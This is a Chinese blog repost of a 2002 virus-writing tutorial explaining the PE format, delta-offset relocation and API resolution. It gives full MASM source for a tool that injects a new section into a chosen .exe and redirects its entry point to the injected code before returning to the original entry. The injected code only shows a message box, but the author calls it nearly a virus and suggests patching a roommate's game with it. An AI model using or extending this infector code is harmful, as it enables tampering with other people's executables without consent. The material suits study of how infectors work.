分享
 
 
 

为PE文件添加新节显示启动信息

王朝other·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

病毒并不神秘,也不复杂。相当多的大侠已经在这方面作出了杰出的贡献,例如 29A 组织,我对他们的崇拜之情啊,真是……咳咳,先别扔鸡蛋。其实我想说的是:技术是一柄双刃剑,我们应该把它运用在对社会有益的事情上。所以请勿利用本文的代码进行违法违纪的活动,否则本人保留追究的权利。

本文的技术其实早已是老掉牙的东西了,so如果你已经懂得了编写病毒的方法,请跳过本文;如果你对病毒抱有好奇心,但是还没知道怎么编写,那么本文应该适合你。 :)

言归正传。在 Windows 环境下,所有的可执行文件都是 PE 格式,因此编写病毒最重要的环节之一就是对 PE 文件进行操作。但是在此我不打算对 PE 格式进行讲解,请读者自行参考有关资料。我只对我在实际编写中遇到的难点进行分析:

首先,计算机病毒之所以叫做病毒,是因为它跟自然界中病毒一样,都需要有一个宿主——它本身是无法单独执行的。那么,当病毒寄生在宿主上后,怎样让它的代码执行呢?我们先来看一些概念。

PE 的代码映象分为几个 SECTION,在文件中会对齐页边界(4K)。一般来说,文件会加载在 400000h 开始的空间,而第一个 SECTION 在 401000h 处,同时入口地址也是 401000h。这个入口地址 401000h 是怎么计算出来的呢?如果你查看 PE 头的 IMAGE_OPTIONAL_HEADER ,就会发现它的 ImageBase 一般是 400000h ,而 AddressOrEntryPoint 一般是 1000h 。 400000 + 1000 = 401000h ,明白了吧?掌握了这一点,我们就可以在 PE 中添加我们自己的新节,然后把这个入口地址改成指向新节的第一条代码。当新节执行完毕后,再把原入口恢复,这样一来就能继续执行宿主的代码了。

在几乎每个 Win32 病毒的开头都有这样的语句:

call nStart

nStart:

pop ebp

sub ebp, offset nStart

这些语句是用来干嘛的呢?好像是吃饱了饭没事干哦……其实不然。让我们来仔细考虑一下。当正常的 PE 程序执行时,它的基址(如前所述)一般是 400000h ,这个地址会由操作系统为你重定位,因此总是能保证程序被成功地装载运行。但是,如果我们在 PE 中插入了一段新的代码,假设它要从 654321h 处开始执行,那么事情就没有那么简单了。因为宿主程序并没有预料到这段代码的存在,而操作系统也不可能为你修正这个偏移。因此我们就要自己进行重定位操作。上面的语句就是取得病毒在宿主中的实际偏移地址。Call 指令实际上是 push 和 jmp 的组合。当 call nStart 时,实际上是把 call nStart 的下一条指令(也就是pop ebp)的地址压入堆栈然后 jmp 到 nStart ,由于之前已经把 pop ebp 的地址压入了堆栈,所以当真正执行到 pop ebp 这条指令的时候,实际上就是把 pop ebp 这条指令的地址放到了 ebp 中。这样就得到了当前病毒代码的真正的偏移地址。这也是病毒中常用的手法。几乎无一例外。

接下来还有一个关键的问题。我们的病毒代码是附属在宿主上的,如果要在病毒中使用 API ,则必须首先得到 API 的入口地址。不过这可不是一件容易的事情啊。为什么这样说呢?让我们先来看看下面的代码:

invoke ExitProcess, 0

在经过编译器的编译、连接后,它在内存中形如:

:00401015 Call 0040101A

:0040101A Jmp dword ptr [00402000]

也就是说,ExitProcess 的调用是通过 Call 0040101A ,而 0040101A 处的代码是一个 Jmp ,指向 [00402000] ,这个 [00402000] 处储存的才是真正的 ExitProcess 的入口地址。

为什么要经过那么多周折呢?呵呵,其实我也不知道。但是我们知道的是,调用一个 API 实际上是调用它在内存中的地址。而病毒由于是在宿主编译完之后才附属上去的,所以如果病毒要运行 API ,则必须自己指定 API 的入口地址。

是不是很烦呢?Hoho,坚持一下吧,就快大功告成了。

要得到 API 的入口地址,方法有很多种,例如可以通过硬编码,这是比较简单的方法,但是它的缺陷是不能在不同的 Windows 版本下运行,不过由于它实现起来比较简便,因此本文还是采用这种方法。

在同一个版本的 Windows 下,同一个核心函数的入口总是固定不变的(指由 Kernel32, Gdi32, User32 导出的函数),所以我们就可以利用下面的方法得到 API 的入口:

szDllName db "User32", 0

szMessageBoxA db "MessageBoxA", 0

MessageBoxA_Addr dd 0

invoke GetModuleHandle, addr szDllName

invoke LoadLibrary, addr szDllName

invoke GetProcAddress, eax, addr szMessageBoxA

mov MessageBoxA_Addr, eax

在病毒中我们就可以用 Call MessageBoxA_Addr[ebp] 来执行 MessageBoxA 这个 API 了。

好啦,我已经把我认为比较重要的难点解释了一次了,如果你还有什么不清楚的地方,欢迎给我来信。lcother@163.net

下面我给出了一个例子程序,它的作用是为 PE 文件添加一个新节以显示启动信息。这个东东会在 PE 文件的末尾添加一个新节,我给这个节命名为“.LC”,被附加的程序在运行的时候会先弹出一个对话框,显示我们的提示信息。你可以对它稍作修改,例如加上自己的版权信息,然后给 CS 的主程序打上这个“病毒”,接着……呵呵,等着看舍友的惊讶的目光吧!实际上只要对它进行一些额外的补充,它就可以算是一个小小的病毒了。

值得注意的是,本程序要对代码段进行写操作(也就是SMC),所以在编译连接的时候应该这样做:

rc Add_Section.rc

ml /c /coff Add_Section.asm

link /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj

Have fun!

;***********************************************

;程序名称:为PE文件添加新节显示启动信息

;作者:罗聪

;日期:2002-11-10

;出处:http://www.luocong.com(老罗的缤纷天地)

;本代码使用了病毒技术,但纯粹只用于技术研究。

;切记:请勿用于非法用途!!!!!!

;注意事项:如欲转载,请保持本程序的完整,并注明:

;转载自“老罗的缤纷天地”(http://www.luocong.com

;***********************************************

.386

.model flat, stdcall

option casemap:none

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

include \masm32\include\user32.inc

include \masm32\include\comdlg32.inc

includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\user32.lib

includelib \masm32\lib\comdlg32.lib

WndProc proto :DWORD, :DWORD, :DWORD, :DWORD

AddNewSection proto :DWORD

;很有用的宏:

CTEXT MACRO y:VARARG

LOCAL sym

CONST segment

ifidni <y>,<>

sym db 0

else

sym db y,0

endif

CONST ends

exitm <offset sym>

ENDM

.const

IDI_LC equ 1

IDC_BUTTON_OPEN equ 3000

MAXSIZE equ 260

Head_Len equ sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER

.data

szDlgName db "lc_dialog", 0

szCaption db "Section Add demo by LC", 0

ofn OPENFILENAME <>

szFileName db MAXSIZE dup(0)

szFilterString db "PE 可执行文件", 0, "*.exe", 0, 0

szMyTitle db "请打开一个PE可执行文件…", 0

PE_Header IMAGE_NT_HEADERS <0>

My_Section IMAGE_SECTION_HEADER <>

szDllName db "User32", 0

szMessageBoxA db "MessageBoxA", 0

.data?

hInstance HINSTANCE ?

.code

main:

invoke GetModuleHandle, NULL

mov hInstance, eax

invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0

invoke ExitProcess, eax

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

.if uMsg == WM_CLOSE

invoke EndDialog, hWnd, 0

.elseif uMsg == WM_INITDIALOG

;设置我的图标:

invoke LoadIcon, hInstance, IDI_LC

invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax

.elseif uMsg == WM_COMMAND

mov eax, wParam

mov edx, eax

shr edx, 16

movzx eax, ax

.if edx == BN_CLICKED

.if eax == IDCANCEL

invoke EndDialog, hWnd, NULL

.elseif eax == IDC_BUTTON_OPEN || eax == IDOK

;调用子程序,添加节:

invoke AddNewSection, hWnd

.endif

.endif

.else

mov eax, FALSE

ret

.endif

mov eax, TRUE

ret

WndProc endp

AddNewSection proc uses ecx hWnd:HWND

LOCAL hFile: HANDLE

LOCAL dwPE_Header_OffSet: DWORD

LOCAL dwFileReadWritten: DWORD

LOCAL dwMySectionOffSet: DWORD

LOCAL dwLastSection_SizeOfRawData: DWORD

LOCAL dwLastSection_PointerToRawData: DWORD

;“打开文件”对话框:

mov ofn.lStructSize, sizeof ofn

push hWnd

pop ofn.hwndOwner

push hInstance

pop ofn.hInstance

mov ofn.lpstrFilter, offset szFilterString

mov ofn.lpstrFile, offset szFileName

mov ofn.nMaxFile, MAXSIZE

mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER

mov ofn.lpstrTitle, offset szMyTitle

invoke GetOpenFileName, addr ofn

;如果没有选择文件名则退出:

.if eax == 0

jmp Err_CreateFile_Exit

.endif

;打开文件:

invoke CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL

.if eax == INVALID_HANDLE_VALUE

invoke MessageBox, hWnd, CTEXT("打开文件失败!"), addr szCaption, MB_OK or MB_ICONHAND

jmp Err_CreateFile_Exit

.endif

mov hFile, eax

;****************************************

;读取PE文件头:

;****************************************

invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN

invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL

invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN

invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL

;****************************************

;判断是否有效的PE文件,是的话才继续:

;****************************************

.if [PE_Header.Signature] != IMAGE_NT_SIGNATURE

;如果不是有效的PE文件,就给出提示:

invoke MessageBox, hWnd, CTEXT("这不是一个有效的Win32 PE文件!"), addr szCaption, MB_OK or MB_ICONHAND

jmp Exit

.endif

;****************************************

;判断是否有足够空间存储新节:

;****************************************

movzx eax, [PE_Header.FileHeader.NumberOfSections] ;得到添加新节前有多少个节:

mov ecx, 28h ;28h = sizeof IMAGE_SECTION_HEADER

mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER

add eax, dwPE_Header_OffSet ;eax = eax + PE文件头偏移

add eax, 18h ;18h = sizeof IMAGE_FILE_HEADER

movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]

add eax, ecx ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER

add eax, 28h ;添加一个新节的大小

.if eax > [PE_Header.OptionalHeader.SizeOfHeaders]

;不够的话给出提示:

invoke MessageBox, NULL, CTEXT("没有足够的空间来加入一个新节!"), addr szCaption, MB_OK or MB_ICONHAND

jmp Exit

.endif

;****************************************

;保存原入口,后面要用到:

;****************************************

mov eax, [PE_Header.OptionalHeader.AddressOfEntryPoint]

mov Old_AddressOfEntryPoint, eax

mov eax, [PE_Header.OptionalHeader.ImageBase]

mov Old_ImageBase, eax

;**************************************************

;计算新节的偏移地址:

;(其实跟上面的“判断是否有足够空间存储新节”基本上一样)

;**************************************************

movzx eax, [PE_Header.FileHeader.NumberOfSections]

mov ecx, 28h

mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER

add eax, 4h ;4h = sizeof "PE\0\0"

add eax, dwPE_Header_OffSet

add eax, sizeof IMAGE_FILE_HEADER

add eax, sizeof IMAGE_OPTIONAL_HEADER

mov dwMySectionOffSet, eax ;现在得到了我们的新节的偏移地址

;****************************************

;填充我们自己的节的信息:

;(这部分请查看PE格式,很容易明白,不多说了)

;****************************************

mov dword ptr [My_Section.Name1], "CL." ;名字就叫做“.LC”吧,呵呵……

mov [My_Section.Misc.VirtualSize], offset vEnd - offset vStart

push [PE_Header.OptionalHeader.SizeOfImage]

pop [My_Section.VirtualAddress]

mov eax, [My_Section.Misc.VirtualSize]

mov ecx, [PE_Header.OptionalHeader.FileAlignment]

cdq

div ecx

inc eax

mul ecx

mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值

mov eax, dwMySectionOffSet

sub eax, 18h ;这个偏移是定位到最后一节的“SizeOfRawData”

invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN

invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL

invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL

;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:

mov eax, dwLastSection_SizeOfRawData

add eax, dwLastSection_PointerToRawData

mov [My_Section.PointerToRawData], eax

mov [My_Section.PointerToRelocations], 0h

mov [My_Section.PointerToLinenumbers], 0h

mov [My_Section.NumberOfRelocations], 0h

mov [My_Section.NumberOfLinenumbers], 0h

mov [My_Section.Characteristics], 0E0000020h ;可读可写可执行

;**************************************************

;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)

;**************************************************

invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN

invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL

;****************************************

;得到 MessageBoxA 的线性地址:

;****************************************

invoke GetModuleHandle, addr szDllName

invoke LoadLibrary, addr szDllName

invoke GetProcAddress, eax, addr szMessageBoxA

mov MessageBoxA_Addr, eax

;****************************************

;在文件的最后写入我们的新节:

;****************************************

invoke SetFilePointer, hFile, 0, 0, FILE_END

push 0

lea eax, dwFileReadWritten

push eax

push [My_Section.SizeOfRawData]

lea eax, vStart

push eax

push hFile

call WriteFile

;**************************************************

;改写IMAGE_NT_HEADERS,使新节可以首先执行:

;(需要改写 SizeOfImage 和 AddressOfEntryPoint)

;**************************************************

inc [PE_Header.FileHeader.NumberOfSections]

mov eax, [My_Section.Misc.VirtualSize]

mov ecx, [PE_Header.OptionalHeader.SectionAlignment]

cdq

div ecx

inc eax

mul ecx

add eax, [PE_Header.OptionalHeader.SizeOfImage]

mov [PE_Header.OptionalHeader.SizeOfImage], eax ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值

mov eax, [My_Section.VirtualAddress]

mov [PE_Header.OptionalHeader.AddressOfEntryPoint], eax ;现在的 AddressOfEntryPoint 是指向新节的第一条指令

invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN

invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL

;****************************************

;完成!显示成功信息:

;****************************************

invoke MessageBox, hWnd, CTEXT("添加新节成功!"), addr szCaption, MB_OK or MB_ICONINFORMATION

Exit:

;关闭文件:

invoke CloseHandle, hFile

Err_CreateFile_Exit:

ret

AddNewSection endp

;****************************************

;呵呵,我们自己的东东:(像不像病毒?)

;****************************************

vStart:

call nStart

nStart:

pop ebp

sub ebp, offset nStart ;得到新节在文件中的实际偏移地址

;显示对话框:

push MB_OK or MB_ICONINFORMATION

lea eax, szMyCaption[ebp]

push eax

lea eax, szMyMsg[ebp]

push eax

push 0

call MessageBoxA_Addr[ebp]

;恢复原入口地址。当这个节执行完毕后,就回到了原来的文件入口处继续执行:

mov eax, Old_ImageBase[ebp]

add eax, Old_AddressOfEntryPoint[ebp]

push eax

ret

;变量定义:

MessageBoxA_Addr dd 0

szMyMsg db "为PE文件添加新节显示启动信息", 13, 10, 13, 10, "老罗的缤纷天地",13, 10, "http://www.LuoCong.com", 0

szMyCaption db "老罗的病毒基础教程系列 by LC", 0

Old_ImageBase dd 0

Old_AddressOfEntryPoint dd 0

vEnd:

end main

;******************** over ********************

;by LC

它的资源文件:

#include "resource.h"

#define IDC_STATIC -1

#define IDI_LC 1

#define IDC_BUTTON_OPEN 3000

IDI_LC ICON "lc.ico"

LC_DIALOG DIALOGEX 10, 10, 195, 115

STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU

CAPTION "Section Add demo by LC, 2002-11-10"

FONT 9, "宋体", 0, 0, 0x0

BEGIN

GROUPBOX "Info", IDC_STATIC, 5, 5, 185, 75

CTEXT "- 为PE文件添加新节显示启动信息 -", IDC_STATIC, 10, 20, 175, 10

CTEXT "-= Virus Tutorial Series =-", IDC_STATIC, 10, 30, 175, 10

CTEXT "老罗的缤纷天地", IDC_STATIC, 10, 50, 175, 10

CTEXT "www.LuoCong.com", IDC_STATIC, 10, 60, 175, 10

DEFPUSHBUTTON "打开文件(&O)",IDC_BUTTON_OPEN, 70, 90, 55, 15, BS_FLAT | BS_CENTER

END

老罗

2002-11-10

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有